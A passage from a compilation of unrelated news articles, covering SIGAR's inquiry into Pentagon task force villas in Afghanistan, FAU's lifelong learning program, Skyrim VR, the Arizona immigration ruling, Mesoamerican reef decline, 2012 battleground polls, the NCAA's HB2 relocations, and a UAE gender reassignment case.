owned 'villas' and hired contractors to provide 24-hour building security, food services, and bodyguards for TFBSO staff and visitors traveling in the country," Sopko wrote. "If TFBSO employees had instead lived at DOD facilities in Afghanistan, where housing, security, and food service are routinely provided at little or no extra charge to DOD organizations, it appears the taxpayers would have saved tens of millions of dollars."  Sopko's latest inquiry comes as part of a broader investigation into allegations of financial misuse and criminal activity within the Task Force, which ended in March 2015. In a report published last month, SIGAR found the DOD spent $43 million to build a gas station in Afghanistan that should have cost roughly $500,000.  According to SIGAR, each room at the villas was equipped with luxuries, including a flat screen TV, a DVD player and mini refrigerator. An "investor villa" with "upgraded furniture" and "western-style hotel accommodations" was also provided to TFBSO personnel, SIGAR noted.  While SIGAR said it could not determine what it would have cost for TFBSO employees to live at the U.S. Embassy, it estimated that for 2014 a staff of 10 would have paid roughly $1.8 million to live there.  Sopko said the decision to build the costly villas appears to have been made by Paul Brinkley, former Deputy Under Secretary of Defense and the Task Force's first director. Sopko said Brinkley has not cooperated with his office's request for information.  Brinkley, who now runs a private Dubai-based business development firm, disputed Sopko's claim, saying in an e-mail to FoxNews.com, "I have not been contacted by the Special Inspector General for Afghanistan Reconstruction regarding the questions raised in the letter to the Department of Defense since I departed government service almost five years ago, but would be happy to meet and discuss these topics."  "The Task Force for Business and Stability Operations operated under the authority and oversight of the Secretary of Defense and ISAF command during my tenure," said Brinkley, who left TFBSO in June 2011. "Its unique operating posture -- operating outside of military or diplomatic installations -- was elemental to its successes and was clearly sanctioned by Pentagon leadership as well as the Congress, and covered in a variety of media reports, GAO assessments, and think-tank studies."  "When I ran the task force, we had one mission: help bring normalcy to Afghanistan by encouraging sustained economic growth and employment for the Afghan people and the creation of an Afghan middle class,"he said. "Everything we did was focused on that goal, which is critical to Afghanistan’s ability to someday finance its own security and development needs without US taxpayer support."  Department of Defense spokesman, Army Lt. Col. Joe Sowers, acknowledged receipt of Sopko's Nov. 25 letter to Carter but he declined to comment further about the matter.  "We have received the recent letter from SIGAR and will respond," Sowers told FoxNews.com.  The TFBSO was originally created by the DOD to revitalize Iraq's economy after the U.S.-led invasion in 2003. The program was redirected to Afghanistan in 2009 to lead projects supporting economic development.  A former TFBSO official, speaking on background, said many of the locations where Task Force employees worked in Afghanistan lacked any U.S. military of civilian installations.  "Where appropriate or necessary we did operate on military installations, including Camp Leatherneck in Helmand Province and at Kandahar Air Field," the former official told FoxNews.com. "Our operational construct was approved by the entire chain of command, from the secretary of defense to the combatant commander."  In an interview last month, Sopko told FoxNews.com his office has received "numerous allegations" of criminal activity by the Task Force from former employees as well as "current and former uniformed officers who worked over there, other agencies and contractors." He declined to elaborate on the specifics of the accusations.  A former TFBSO employee, who spoke to FoxNews.com on condition of anonymity, described the villas as hangouts for senior DOD officials who traveled to Afghanistan, "simply to accumulate flying miles."  "They just came in and didn’t do anything but hang out in the villa," the source said.  Cristina Corbin is a reporter for FoxNews.com. Follow her on Twitter @CristinaCorbin.
-Florida Atlantic University's lifelong education program, already the largest of its kind in the country, keeps growing, with enrollment climbing more than 20 percent in four years.  The Lifelong Learning Society has about 16,000 paid members between its two locations in Boca Raton and Jupiter, mostly seniors who want to learn for the sake of learning. Thousands more attend occasional lectures on politics, religion, world affairs, the arts, and this year, sports.  The enormous growth of FAU's program, which started in the early 1980s, has attracted attention around the country.  "We all look at FAU and go, 'Holy cow,'" said Kali Lightfoot, executive director of the Osher Lifelong Institute Resource Center, which supports 117 programs in the country.  FAU is not a member of the Osher network, whose largest program is the University of Delaware, at about 3,000 students.  One obvious reason for FAU's popularity is the demographics of South Florida, which has one of the largest and most active senior communities in the United States. Buses from retirement communities drop off their residents to attend the classes.  Some students take one or two classes a year, while others, including Boca Raton resident Phyllis Novetsky, take more than 50.  "The subject matter is far different than I would imagine, and the quality is top notch," said Novetsky, 80, who recently relocated from Michigan. "It's a lot better way for me to spend my retirement than going to the casino."  Novetsky has plenty of company.  "We have people who register for thousands of dollars' worth of programs," said Herbert Shapiro, assistant provost for lifelong learning at FAU. "They're here all the time."  In Broward County, Nova Southeastern University offers a much smaller lifelong learning program, but it, too, is growing, from about 110 members in 2007 to more than 225 this year, program director Linda Maurice said.  FAU's Jupiter program has pretty much taken over that campus. While the regular student population in Jupiter is about 900, half what it was a decade ago, the Lifelong Learning population has more than tripled during that time, with about 7,000 members now.  In Boca Raton, more than 700 people signed up for an eight-week series on Islam taught by Robert Rabil, an associate professor of political science. That's 200 more than could fit in the program's Barry and Florence Friedberg Lifelong Learning Auditorium. So a second class was added.  The 108-page catalog for the Boca Raton campus includes classes on weighty subjects such as terrorism, United States and Israeli relations, and the Japanese attack on Pearl Harbor, as well as more lighthearted fare, such as the music of Rogers and Hammerstein and the life of television pioneer Sid Caesar.  And new this year, both programs will offer multi-week sessions on sports. A four-week series titled "First Pitch to Sliding Home: A Beginner's Guide to Baseball History" starts Feb. 7 in Boca Raton. In Jupiter, a four-week series called "Sports in Society," presented by retired New York Times sportswriter Ira Berkow, started Jan. 14. Sportscaster Brent Musburger is scheduled to speak Tuesday.  "The series has been very well received with about 300 people attending," said Rene Friedman, director of the Jupiter program. "We've even had people in their 20s show up."  Most lectures are taught by faculty from FAU and other nearby colleges and universities, although a growing number of out-of-town speakers are participating when they're in the area, Shapiro said.  Prices at FAU's classes tend to range from about $25 for single lectures to about $70 for multi-session classes, plus a membership fee. Nonmembers can pay a higher per-class fee.  NSU's program attracts people who want to attend a lot of classes. The cost is about $500 a year for unlimited classes four days a week, with a prorated charge for a partial year and free offerings in the summer.  Many of NSU's programs focus on the arts, including classes on opera, French literature and singer Tony Bennett as well as sessions on politics, history and the law.  Florida International University and the University of Miami also offer lifetime learning programs, and the sessions also can be found in a number of community centers, libraries, synagogues, churches and condos.  NSU's Maurice said she's trying to secure money to do programs in community centers and condos, especially ones that serve diverse populations, including seniors who are black, Hispanic or lesbian, gay, bisexual and transgender.  The long-term health of lifelong learning programs looks good, as more people in their 50s and 60s are joining, Shapiro said.  "We have people still working part-time, not fully retired yet. It's amazing to me," Shapiro said. "I thought the Florida retirement boom was waning, but we just continue to be incredibly successful."  stravis@tribune.com or 561-243-6637 or 954-425-1421  For more information  Lifelong learning programs are available in several locations in South Florida, including:  Florida Atlantic University Boca Raton: 561-297-3171 or 561-297-3185;  http://www.fau.edu/lls  Florida Atlantic University Jupiter: 561-799-8547 or 561-799-8667; http://www.fau.edu/lls  Nova Southeastern University: 954-262-8471;  Florida International University: 305-919-5910;  University of Miami: 305-284-4000; http://www.miami.edu/ollihttp://www.miami.edu/olli  Lifelong Learning Classes  Here are some new and popular classes at FAU's Boca Raton campus.  Five most popular classes  The Reel 1940s: Using Film to Explore a Pivotal Decade of the 20th-Century  Change in The Middle East 21st Century  F. Scott and Ernest: Friends and American Literature At Its Best  U.S. National Security, Islamism and Globalized Conflicts
-In February this year Zenimax Media Inc. announced the acquisition of virtual reality (VR) content developer Escalation Studios (Please, Don’t Touch Anything, Herobound Gladiators) to help with various projects. Now it’s been revealed that Escalation Studios has lent its talents to The Elder Scrolls V: Skyrim VR, which is due for release on PlayStation VR this Friday, 17th November.  During an on-stage interview with Bethesda Softworks, Content Manager, Anne Lewis, she asked Andrew Scharf, Lead Producer, Bethesda Game Studios if the team had been working with anyone else to make The Elder Scrolls V: Skyrim VR a reality, to which he responded: “We’re working with a great team at Escalation Studios. They recently joined the Zenimax family and we’re really happy to have them. They’ve been on the forefront of VR, they’re one of the best VR developers in the industry.”  Scharf went on to reveal Escalation Studios played a part in another of its big franchises coming to VR, Fallout 4 VR. “They’ve helped us hit the ground running with both Fallout and Skyrim VR,” he continued. “Helping us come up with smart solutions to some of the considerations you need to make when you’re developing a title for VR and redesigning games systems to work for VR.”  While both titles maybe several years old, the launch of The Elder Scrolls V: Skyrim VR this week for PlayStation VR and Fallout 4 VR in December for HTC Vive, are hotly anticipated, offering players a new way to immerse themselves in these fantasy/sci-fi universes. And let’s not forget about DOOM VFR which is coming to both aforementioned headsets on 1st December.  For The Elder Scrolls V: Skyrim VR fans looking for more info prior to launch then there’s always today’s livestream event to see the videogame in action, or read VRFocus’ most recent preview from Gamescom.  The Elder Scrolls V: Skyrim VR will come complete with all the downloadable content (DLC) previously released for the videogame, Dawnguard, Hearthfire, and Dragonborn, but there won’t be mod support. Last week also saw Sony Interactive Entertainment (SIE) announce the PlayStation VR Skyrim VR Bundle featuring the title and the latest version of the headset.  VRFocus will continue its coverage of The Elder Scrolls V: Skyrim VR, reporting back with any further updates.
-Obama’s mercantilist State of the Union address  Like other wonks, I watched last night’s State of the Union address with a mixture of curiosity and whiskey. As I noted a few days ago, each State of the Union address contains some statements that history will judge rather harshly. Initially that was my focus in listening to last night’s speech. That was quickly supplanted by a more interesting undercurrent to Obama’s text, however.  Foreign policy wonks like Fred Kaplan have argued that there wasn’t much foreign policy content in the speech. That’s true only if one has a rather narrow definition of foreign policy. What was striking to me was Obama’s global justifications for a lot of his economic policy. Throughout his speech, he used the specter of foreign economic threats to prod Congress into action. Consider the following:  Every day, we should ask ourselves three questions as a nation: How do we attract more jobs to our shores? How do we equip our people with the skills needed to do those jobs?…. After shedding jobs for more than 10 years, our manufacturers have added about 500,000 jobs over the past three. Caterpillar is bringing jobs back from Japan. Ford is bringing jobs back from Mexico. After locating plants in other countries like China, Intel is opening its most advanced plant right here at home. And this year, Apple will start making Macs in America again. There are things we can do, right now, to accelerate this trend…. After years of talking about it, we are finally poised to control our own energy future. We produce more oil at home than we have in 15 years…. Four years ago, other countries dominated the clean energy market and the jobs that came with it. We’ve begun to change that. Last year, wind energy added nearly half of all new power capacity in America. So let’s generate even more. Solar energy gets cheaper by the year – so let’s drive costs down even further. As long as countries like China keep going all-in on clean energy, so must we….. America’s energy sector is just one part of an aging infrastructure badly in need of repair. Ask any CEO where they’d rather locate and hire: a country with deteriorating roads and bridges, or one with high-speed rail and internet; high-tech schools and self-healing power grids. The CEO of Siemens America – a company that brought hundreds of new jobs to North Carolina – has said that if we upgrade our infrastructure, they’ll bring even more jobs…. Let’s also make sure that a high school diploma puts our kids on a path to a good job. Right now, countries like Germany focus on graduating their high school students with the equivalent of a technical degree from one of our community colleges, so that they’re ready for a job….  In each of these passages, Obama was using comparative language to contrast the United States with other countries — or, as he would put it, other magnets for jobs. The explicit thesis is that unless the United States makes the necessary investments, scarce jobs will leave American shores.  Obama has used this kind of rhetoric on the campaign trail and in previous SOTUs. It reveals a somewhat mercantiilist worldview, one in which jobs and economic growth have a zero-sum, relative gains quality to it.  [So, what, Dan? Most Americans see the world through a mercantilist lens as well. Will this kind of rhetoric matter?–ed.] I’m honestly not sure. Here’s the foreign economic policy component of the SOTU:  Even as we protect our people, we should remember that today’s world presents not only dangers, but opportunities. To boost American exports, support American jobs, and level the playing field in the growing markets of Asia, we intend to complete negotiations on a Trans-Pacific Partnership. And tonight, I am announcing that we will launch talks on a comprehensive Transatlantic Trade and Investment Partnership with the European Union – because trade that is free and fair across the Atlantic supports millions of good-paying American jobs.  Now on the one hand, announcing the formal start of negotiations with the EU on a trade deal augurs well for my prediction last year about foreign economic policy playing a big role in Obama’s second term. On the other hand, viewing trade through a mercantilist lens will make tough negotiations even tougher … which means I might owe Phil Levy an expensive DC dinner.  In a speech in which traditional security threats seemed very much on the wane in terms of actual threat as well as political salience, it would be a cruel twist of fate to ratchet up ill-conceived foreign economic threats as a substitute.  Developing…
-The Supreme Court upheld a key part of Arizona's tough anti-illegal immigration law in a 5-3 decision on Monday that allows police officers to ask about immigration status during stops. That part of the law, which never went into effect because of court challenges, will now immediately be enforced in Arizona. Other parts of the law, including a provision that made it a state crime for illegal immigrants to seek work, will remain blocked, as the justices affirmed the federal government's supremacy over immigration policy.  [Yahoo News reporter Liz Goodwin will be answering your questions about the Supreme Court's immigration ruling today at 4 p.m. ET on Facebook.]  Justice Anthony Kennedy, the court's swing vote, wrote the opinion, and was joined by Chief Justice John Roberts, Ruth Bader Ginsburg, Stephen Breyer and Sonia Sotomayor. Conservative Justices Antonin Scalia, Samuel Alito and Clarence Thomas partially dissented, saying the entire law or most of the law should have been upheld.  In the opinion, Justice Kennedy wrote that the federal government's "power to determine immigration policy is well settled." But he also showed concern for what he described as Arizona's outsize burden in dealing with illegal immigration, seeming to sympathize with the state's decision to butt in on immigration enforcement. "Arizona bears many of the consequences of unlawful im­migration," he wrote. "Hundreds of thousands of deportable aliens are apprehended in Arizona each year." But, ultimately, the justices found that Arizona cannot mete out its own state punishments for federal immigration crimes.  "Arizona may have under­standable frustrations with the problems caused by illegal immigration while that process continues, but the State may not pursue policies that undermine federal law," Kennedy wrote in the opinion's conclusion.  The police immigration checks are allowed, however, because state police would simply flag federal authorities if they found an illegal immigrant. The federal government would then decide if they wanted to try to deport the suspect, or let him or her go. Kennedy did not rule out that these checks may be implemented in an illegal way, which means more lawsuits may be forthcoming.  Nevertheless, Arizona Gov. Jan Brewer cast the decision as a "victory" for the state. "I am confident our officers are prepared to carry out this law responsibly and lawfully. Nothing less is acceptable," she said in a statement, adding that officers have been trained not to racially profile in their stops.  Erika Andiola, an activist and undocumented immigrant in Arizona, said that the Latino community will not be happy with the decision, as the immigration checks portion of the law was most unpopular with them. "It's another message to the Latino community that if you look brown you're a perfect target for the police," she said.  The Obama administration sued to block Arizona's law, called SB1070, shortly after it passed two years ago, saying it interfered with federal authority over immigration. The law made it a state crime for illegal immigrants to seek work or fail to carry proper immigration papers. It also requires police officers to check immigration status and make warrantless arrests for immigration crimes in some cases. A federal judge prevented those aspects of the law from going into effect, but the law became a lightning rod around the country, sparking boycotts and counterboycotts and opening up a debate about the nation's illegal immigrant population.  In oral arguments in April, many of the justices seemed deeply skeptical of the government's argument that local police officers would interfere with federal authority over immigration law if they began asking people about their immigration status during stops. Though much of the debate around the law has focused on "racial profiling"—whether Hispanic people would be stopped and questioned by police based on their ethnicity—the government did not even mention those words in its case against the law, instead focusing on the federal government's supremacy in immigration matters. Justices repeatedly criticized the government's argument against immigration checks. Even Sotomayor, part of the court's liberal wing, said she was "terribly confused" by the government's argument against the checks.
-Taxpayers face an even greater slug for Barnaby Joyce's relocation of a Canberra public service agency to the heart of his own electorate, with desperate bosses at the pesticides authority considering pay rises of up to 15 per cent in order to convince staff not to quit.  The pay rises would come on top of a 1.5 per cent retention bonus for workers still with the Australian Pesticides and Veterinary Medicines Authority in December 2017, a 3 per cent bonus if they remain on the books until December 2018 and a 10 per cent if they are still around when the Canberra office shuts in mid-2019.  Up to 12 free return flights a year between Canberra and Armidale are also being considered as an inducement for workers at the APVMA if they agree to make the move from their homes in and around the capital, 800 kilometres north to the northern NSW town.  Fairfax revealed this month that only 10, at most, of the APVMA's regulatory scientists were prepared to make the move to New England, the electorate of Deputy Prime Minister Mr Joyce, who is also Agriculture Minister.
-The Mesoamerican Barrier Reef is the largest barrier reef in the western hemisphere – an underwater wilderness stretching over 700 miles along the coasts of Mexico, Belize, Guatemala and Honduras.  One of the most biodiverse ecosystems in the Americas, the reef is home to a dazzling variety of coral and more than 500 species of fish, and provides a livelihood for more than a million people. But now, a combination of mass tourism and poor waste management has left the reef increasingly vulnerable to climate change, placing this natural wonder in serious trouble.  “Throughout the Caribbean, we have seen a massive decrease in coral coverage,” says Michael Webster, executive director of the Coral Reef Alliance, a nonprofit organisation that works on reef conservation in Honduras. “Whereas we might have had 60-70% coral coverage in the past, now it’s down to 5-10% in places.”  Now, the rapidly changing climate could make the damage even worse. “We’re seeing these huge variations in rainfall, temperature, weather,” says Amanda Acosta, executive director of the Belize Audubon Society, a nonprofit responsible for managing reefs off the coast of Belize. “In 2012, we had massive rainfall,” she says. “Last year, we had no rain at all. And in the summer, the sea was as warm as a bath pan.”  The impacts of these rapid weather changes are already being witnessed across the reef system. Jesús Arias-González, a researcher at the National Polytechnic Institute in Mexico, conducted a study of the entire region last year and found 22% of the coral colonies presented signs of bleaching from elevated sea temperatures. The bleaching could soon get worse: in September the US’s National Oceanic and Atmospheric Administration began issuing coral bleaching alerts all along the Mesoamerican Reef. While cooler winter waters have since decreased alert levels, such warming events will likely increase as global weather patterns change.  Facebook Twitter Pinterest Corals reefs along the southern region were hit the hardest with up to 80% of corals showing signs of bleaching in Roatan and Utila. Photograph: Courtesy of Bleach Watch Roatan  But although this level of damage is concerning, for many scientists who spoke to the Guardian the more pressing threat is mass tourism. “Climate change happens long term,” Arias-González says. “The massive development happening right now is much more dangerous.”  Spectacular rebirth of Belize's coral reefs threatened by tourism and development Read more  “The bleaching is certainly getting worse every year,” says Vanessa Francisco, a field officer with Resiliencia, a collaboration between the United Nations Development Program and the Mexican government to strengthen natural protected areas against the effects of climate change. “But the biggest problem we have is pollution.”  The growth of mass tourism as well as farming has resulted in an increase of untreated waste and agricultural runoff on to the reef; a 2010 study found traces of raw sewage, pesticides and illicit drugs in the underground river system of Mexico’s Yucatán peninsula, groundwater that would “eventually discharge into Caribbean coastal ecosystems”. A 2013 study concluded that “domestic waste management and final disposal in Belize, Guatemala and Honduras is a critical problem that needs to be addressed urgently”.  Facebook Twitter Pinterest On Yucatán peninsula in Mexico, the government is planning to create a marine reserve that would extend 200 miles out from the coast. Photograph: Klaus Thymann  The increase in waste acts as a fertiliser to macroalgae, a kind of fleshy algae that can compete with and eventually smother or kill the corals. According to the Healthy Reef Initiative (HRI), an alliance of more than 30 organisations that monitors the Mesoamerican Reef, macroalgae cover has nearly doubled in the last 10 years across the region. This poses a serious problem because, as Francisco explains, a reef which is in a poor condition due to algae blooms is much less likely to withstand the effects of climate change: “It’s like getting a cold if you have HIV,” she says. “It reduces the reef’s resilience.”  According to Webster, from the Coral Reef Alliance, these underwater ecosystems are highly adaptable under normal circumstances, constantly subjected to the eroding forces of storms and ocean currents. “Reefs are in a perpetual state of recovery,” he says. “A healthy reef is one that’s growing faster than it’s eroding.” A reef that is ravaged by macroalgae, however, will have a harder time bouncing back from an unseasonably warm current or a severe storm.  Mary Peter, 35, is a diving instructor in the tiny town of Xcalak, on the border between Mexico and Belize. Last year, Xcalak was hit by tropical storm Earl, the deadliest Atlantic hurricane to hit Mexico in 10 years. “It left a lot of devastation,” says Peter. “It destroyed a lot of the top reef structure. Everything was broken off; we were swimming through debris.” Six months on, however, Peter says “the reef is recovering nicely. Those chunks of coral that broke off are integrating back into the ecosystem.”  The increase in waste acts as a ​​fertiliser to macroalgae, a fleshy algae ​​that competes with and kills the corals  This kind of destruction and recovery is part of the reef’s natural ebb and flow: However, with hurricanes and storms likely to increase in frequency and severity because of climate change, the recovery process will become more difficult. When you add overfishing and pollution, the result could be devastating. “The future is going to be warmer, more disturbed, more acidic,” says Webster. “Corals are going to have to adapt. But what if they can’t? If you’re protecting the forest and you lose all the trees, it’s not a forest anymore.”  To stave off damage, scientists and nonprofit groups across the region are working with local communities to reduce overfishing, minimise pollution and strengthen the reef. “Climate change is a world issue,” says Webster. “We’re working to solve problems at a community level so we can give the reef a better chance to adapt to those global problems.”  Facebook Twitter Pinterest A coral reef at Banco Chinchorro Photograph: Alamy  Miguel Jarillo is a fisherman in Mexico’s Banco Chinchorro, the largest atoll in the northern hemisphere and a Unesco biosphere reserve. Ten years ago, he was trained by the World Wildlife Foundation to monitor the reef, something he has been doing ever since, providing data on the reef’s health for a number of different NGOs and conservation groups, as well as maintaining a more sustainable fishing practice. “It’s become a vice,” he says. “Going out into the sea and looking after my own resource. Because if I don’t look after it, no one else will.”  Oceans under greatest threat in history, warns Sir David Attenborough Read more  In Belize, too, there is an increasing awareness of the reef as a vital economic resource, generating 15% of the country’s GDP. When the government began seismic tests for offshore oil near the reef last year, the outcry from the community in the tourist town of San Pedro was such that authorities shut the operation down after one day. “Without this reef, we’re just like any other Central American country,” says Elis Mei, 34, a tour operator in San Pedro. “This reef keeps our economy going. Without it, we’re done.”  Facebook Twitter Pinterest Nurse sharks at the Hol Chan marine reserve off Ambergris Caye, Belize. Photograph: Alamy Stock Photo  There are signs that conservation efforts are paying off, albeit extremely slowly. According to HRI’s latest survey, coral cover has increased from 10% to 17.5% over the last 10 years. Herbivorous fish, which can help reduce macroalgae cover, have also increased. Five new Marine Protected Areas have been designated since 2011, meaning that the four countries now protect 20% of their territorial sea. Last year the Mexican president, Enrique Peña Nieto, designated the Mexican Caribbean biosphere reserve, a 5.75m-hectare reserve off the Yucatán peninsula.  But designating marine-protected zones only achieves so much. “Up to now, the decree is just on paper,” says HRI’s Marisol Rueda Flores, pointing out that the Mexican government has simultaneously cut funding from the body that oversees marine parks. “Mexico has some of the best laws for protecting coastal areas – the problem is no one follows them. The government has barely begun to realise the urgency of this situation.”  • Reporting for this story was supported by the Fund for Environmental Journalism
-WASHINGTON -- A batch of new polls from two key battleground states produced some of the largest leads yet for President Barack Obama, drawing criticism from the campaign of Republican nominee Mitt Romney.  In Ohio and Florida, the new surveys from The Washington Post and the polling partnership of CBS News, The New York Times and Quinnipiac University show Obama leading by margins approaching double-digits.  While the margins produced by these and other surveys vary, they collectively point to a consistent underlying trend: Big gains in enthusiasm among Democratic partisans have helped boost Obama since the party conventions.  In Florida, a state widely considered a must-win for Romney, results ranged from a whopping 9 point Obama lead (53 to 43 percent) on the new CBS/Times/Quinnipiac poll, to a 4 point Obama advantage on the Washington Post poll (51 to 47 percent), to a much narrower 1 point edge for Obama (48 to 47 percent) on a Tampa Bay Times/Miami Herald/Mason Dixon poll.  Most of the other polls have been closer to the Post and Mason-Dixon results. The HuffPost Pollster tracking model, which combines results from all public polls -- national and statewide -- to produce an estimate for each state shows Obama leading in Florida by just over five percentage points.  In Ohio, the two new live interviewer surveys both give Obama wide leads. The CBS/Times/Quinnipiac poll shows him leading by 10 percentage points (53 to 43 percent), while the Washington Post poll has Obama ahead of Romney by 8 (52 to 44 percent).  A third survey conducted by Gravis Marketing, a call center whose automated surveys do not sample cell phones and that consistently produces more Republican-leaning results, found a smaller lead for Obama (45 to 44 percent). The Gravis numbers were the closest margin for Romney among the recent polls. Three other Ohio polls released in the last week gave Obama leads varying between 3 and 7 percentage points.  The HuffPost Pollster tracking model, which also corrects for pollster "house effects" -- consistent differences across polling firms -- currently gives Obama an advantage of just over six percentage points.  On Monday, Romney campaign pollster Neil Newhouse joined a chorus of conservative pundits in questioning the partisan and demographic composition of recent polls in battleground states. "I don't think [the polls] reflect the composition of what 2012 is going to look like," Newhouse told the Hill.  Both the CBS/Times/Quinnipiac and Washington Post polls reported the partisan composition of their samples, the percentages of likely voters who said they think of themselves as Democrats, Republicans or independents. Conservative critics have been comparing the party identification results from recent polls to the partisanship expressed by voters surveyed by exit pollsters in 2008, typically focusing on the margins separating Democrats and Republicans. In both Ohio and Florida, the Washington Post poll found the Democratic advantage to be slightly narrower than 2008, while the new CBS/Times/Quinnipiac polls show it to be slightly wider in Ohio and considerably wider in Florida.  The most notable difference, however, is that all of the current polls are showing more independents among likely voters than exit polls found had voted four years ago. So in absolute terms, the percentages of both Democrats and Republicans fall short of the exit poll estimates from four years ago. That difference is not surprising. Voters typically express a slightly greater sense of partisanship moments after voting than they do weeks or months before voting.  Contrary to the assertions of some commentators, the pollsters who conduct the CBS/Times/Quinnipiac and Washington Post surveys do not directly set the partisanship or the demographics of their likely voter samples. They first sample all adults in each state, weighting the demographics of the full adult sample (for characteristics such as gender, age, race and education) to match Census estimates for the full population.  They then use different methods to select "likely voters" -- those who indicate they are likely to vote -- without further adjusting their characteristics. If the partisanship or demographics of the likely voters changes, it tells us something about the attitudes that will drive voter turnout.  The means used to select those likely voters vary across polls, and are arguably as much art as science, but the most recent results provide an important measure of rising Democratic enthusiasm. "Nearly half of Florida Democrats now say they are more enthusiastic about voting than in the past," CBS News reports, "up from 24 percent at the start of August." National surveys like Gallup and the Pew Research Center have tracked similar trends.  No measure of voting intention is perfect and, as CBS also reports, Romney retains some key advantages among other cuts of the most engaged voters. "The race is far closer," they add, "among voters who say they are paying a lot of attention to the campaign - it's a tie among that group in Ohio, and Mr. Obama's lead in Florida shrinks to four among this subset."
-CLOSE The NCAA made the move in reaction to the state's HB2 law, emphasizing that events must promote an "inclusive atmosphere." USA TODAY Sports  General view of a basketball on the court before the game between the Ohio State Buckeyes and North Carolina Tar Heels during the second round of the women's NCAA tournament at Carmichael Arena. (Photo11: Rob Kinnan, USA TODAY Sports)  The NCAA announced on Monday the relocation of seven previously awarded championship events — including NCAA tournament games in Greensboro — from the state of North Carolina during the 2016-17 academic year as a result of the state's controversial House Bill 2.  The law prevents cities and counties from passing protections based on sexual orientation and gender identity. And public schools must require bathrooms or locker rooms be designated for use only by people based on their biological sex. The NCAA sent a questionnaire in July concerning discrimination issues to the local organizing groups in cities that have been named to host any NCAA event in any of its three competitive divisions or are interested in staging them.  The NBA moved its the All-Star game in Charlotte for the same reasons in July and Duke coach Mike Krzyzewski called the law "embarrassing" in an interview with USA TODAY Sports.  The NCAA cited "state laws that limit civil rights protections" and emphasized that its championship events must promote an "inclusive atmosphere for all college athletes, coaches, administrators and fans."  “Fairness is about more than the opportunity to participate in college sports, or even compete for championships,” NCAA President Mark Emmert said in a statement. “We believe in providing a safe and respectful environment at our events and are committed to providing the best experience possible for college athletes, fans and everyone taking part in our championships."  Cyd Zeigler, LGBT activist and co-founder of Outsports, said the move is a big step in the right direction but still felt there was more work to be done on the NCAA's behalf.  "I'm surprised and encouraged by the NCAA's announcement," Zeigler said. "They have previously fallen back on the idea that the national office has limited power and bureaucratic hurdles to affect change like this. Now that they've taken this step, they need to further protect student-athletes and coaches and ban all members with specific anti-LGBT policies. Removing events from North Carolina is nice, but the association continues to have members that discriminate against LGBT people. What they do with those members in the next year will tell us how serious they are, or if this was just a P.R. move."  HB2 was signed into law by Republican Gov. Pat McCrory earlier this year. A spokesman with McCrory’s office couldn’t immediately be reached for comment Monday evening by the Associated Press, but a spokeswoman with the state Republican party blasted the decision in statement, saying it is “so absurd it’s almost comical.”  “I wish the NCAA was this concerned about the women who were raped at Baylor,” spokeswoman Kami Mueller said Monday night.  Here's the NC GOP's response to the NCAA. I made sure it was not a parody account. pic.twitter.com/BD8Ak8Rx0q — Andrew Carter (@_andrewcarter) September 13, 2016  The seven events that will be relocated are:  ► 2016 Division I Women’s Soccer Championship, College Cup (Cary), Dec. 2 and 4.  ► 2016 Division III Men’s and Women’s Soccer Championships (Greensboro), Dec. 2 and 3.  ► 2017 Division I Men’s Basketball Championship, first/second rounds (Greensboro), March 17 and 19.  ► 2017 Division I Women’s Golf Championships, regional (Greenville), May 8-10.  ► 2017 Division III Men’s and Women’s Tennis Championships (Cary), May 22-27.  ► 2017 Division I Women’s Lacrosse Championship (Cary), May 26 and 28.  ► 2017 Division II Baseball Championship (Cary), May 27-June 3.  New locations for the championship events are expected soon.  The NCAA Board of Governors stressed in its announcement that "North Carolina has the only statewide law that makes it unlawful to use a restroom different from the gender of one's birth certificate, regardless of gender identity."  Contributing: The Associated Press
-The United States condemns in the strongest terms the deadly terrorist attack today against a military checkpoint in southeastern Turkey that left many dead, including civilians, and scores more wounded. We also condemn the senseless motorcycle bomb attack near a police station in Istanbul on Thursday that was claimed by the Kurdistan Freedom Falcons, the PKK's urban terrorist unit. This attack is just the latest in a deeply concerning trend of increasing violence by the PKK, which has killed both security personnel and civilians throughout Turkey. Our thoughts and prayers go out to the families and loved ones of those killed, and we wish a speedy recovery to those injured. We remain steadfast in our support for our NATO ally, Turkey, and reaffirm our commitment to continue working together to defeat all forms of terrorism.  ###
-An Emirati man has taken a brave first step this week and has applied to the courts for a sex reassignment surgery. He is the first to do so in the country, soon after the United Arab Emirates (UAE) passed a bill allowing the surgical procedure in their country.  This bill recognizes gender dysphoria as a medical condition which allows doctors in the UAE to perform sex reassignment surgeries if (1) the individual’s sex is unclear or (2) if the person’s sex does not match their physiological and psychological gender.  The Emirati man’s lawyer told Gulf News, “ever since she was three, the woman felt instead that she is actually a male. She would have an intense desire to have a male body and to be accepted by others as a male and feels her true identity is male.” The article also mentioned that this turmoil in his mind and body caused him a lot of depression and anxiety.  His case will be heard on September 28, 2016. People are hopeful that similar cases in the future will not need legal approval for sex reassignment surgeries after this precedent, but only medical approval.  The man, who chose not to be named, spoke with 7days UAE about his upcoming sex reassignment. He said, “I spoke to my family and described how I felt. I showed them all the medical documents that I had got from medical centers and doctors. However, they didn’t accept what I was dealing with at all.”  Soon after, he left his family home and has lived on his own. He also said he had felt suicidal for a while, but since he considered himself devout, he prayed. “I found a number of muftis who said this operation is allowed for people with specific medical conditions. And I have been undergoing psychological treatment since 2012.”  He knows he will go abroad for the surgery, but wants to be approved by Abu Dhabi courts first as he will need a new passport and hopes to marry a woman some day.  “I found a number of muftis who said this operation is allowed for people with specific medical conditions. And I have been undergoing psychological treatment since 2012.” tweet  This law comes just a few months after the detainment of the transgender actress, Gigi Gorgeous, at Dubai airport. The law is a part of an effort to modernize medical laws in UAE.  Iran has provided this surgical procedure for decades  Iran holds the rank for the second highest number of sex reassignment surgeries in the world. People from all over the Middle East, and even Europe, come to Iran for the procedure. In fact, a fatwa, or religious decree, was established first by their Supreme Leader of the Iranian Revolution, Ayatollah Ruhollah Khomeini, in 1987. Following suit, prominent Shia religious leaders all have fatwas surrounding the topic and legality of transgenders, gender dysphoria and gender confirmation surgery.  Iran holds the rank for the second highest number of sex reassignment surgeries in the world. tweet  Although the stigma is still present, in a government and legal aspect, Iran’s progressive attitude towards their transgender citizens, includes full coverage of the surgeries by insurance. They also provide all legal documents without classifying any behavioral or sexual disorders.  According to a report by gender theorist, Afsaneh Najmabadi, “For legal and medical authorities, sex change surgeries are explicitly framed as the cure for a diseased abnormality, and on occasion they are proposed as a religiously sanctioned option for heteronormalizing people with same-sex desires or practices.” As homosexuality is a crime in Iran, many LGB individuals find that sex reassignment surgeries are their only option.  In the documentary “Be Like Others” by Tanaz Esghanian, a Muslim cleric explains why homosexuality is forbidden and sex reassignment is not: “An action is allowed 